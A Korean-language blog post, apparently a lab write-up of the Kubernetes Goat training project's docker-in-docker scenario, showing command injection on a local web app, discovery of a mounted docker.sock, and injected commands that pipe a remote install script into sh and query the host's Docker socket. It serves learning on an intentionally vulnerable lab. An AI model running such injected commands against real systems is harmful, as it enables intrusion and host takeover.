[K8S-Goat] 2. DIND (docker-in-docker exploitation)

쥬스몬·2023년 3월 30일
0

K8S-Goat

목록 보기
3/6

매번 공부를 미루던 k8s에 대한 찍먹을 위해 k8s-goat 프로젝트를 통해 찍먹을 진행한다. 해당 goat 프로젝트에서는 k8s 환경에서 발생할 수 있는 misconfigurations, 취약점, 보안 문제를 의도적으로 취약하게 구성되어있으며 이를 통해 공격을 진행하며 학습한다.

2번 시나리오는 docker를 사용하고 파이프라인에서 컨테이너를 빌드하는 대부분의 CI/CD 및 파이프라인 시스템은 DIND(docker-in-docker)라는 것을 사용하는데, 기본 컨테이너 런타임에서 컨테이너를 생성 및 구축, 실행을 위해 컨테이너 소켓을 활용하는 시스템 및 파이프라인을 구축하는 일반적인 표준 방법에서 호스트 시스템을 악용하는것에 초점을 둔 시나리오이다.

이번 시나리오를 시작하려면 http://127.0.0.1:1231 에 접근하여 확인할 수 있다

목표 : 호스트 시스템에서 컨테이너 이미지를 탈취

일반적으로 커멘드 인젝션에서 사용되는 패턴을 통해 커멘드 인젝션이 가능한것을 확인할 수 있다.

구축한 k8s-goat이 EKS를 통해 구축하여 AWS Credential을 탈취할 수도 있다. 하지만 이번 시나리오는 AWS Crenditial을 탈취하여 침투하는게 목적이 아니므로 스킵한다.

다음은 mount 명령으로 마운트 정보를 확인해보니 docker.sock이 파일 시스템에 마운트된것을 확인할 수 있다.

위에서 확인한 /custom/docker/docker.sock는 호스트 시스템에서 마운트되었다고 예상하고 UNIX 소켓 통신을 진행해야한다.

docker 소켓과 통신하기위해 docker client를 설치하는 명령을 전달한다.

# 웹데몬을 구동중인 계정이 root로 그냥 설치.
; wget -qO- http://get.docker.com/ | sh

제대로 도커가 설치되었는지 확인하기위해 docker 버전을 출력해본다.

docker socket와 통신하기위해 아래와 같은 명령으로 images 목록을 확인할 수 있다.

;/tmp/docker/docker -H unix:///custom/docker/docker.sock images

done

profile
블로그 이사 (https://juicemon-code.github.io/)

0개의 댓글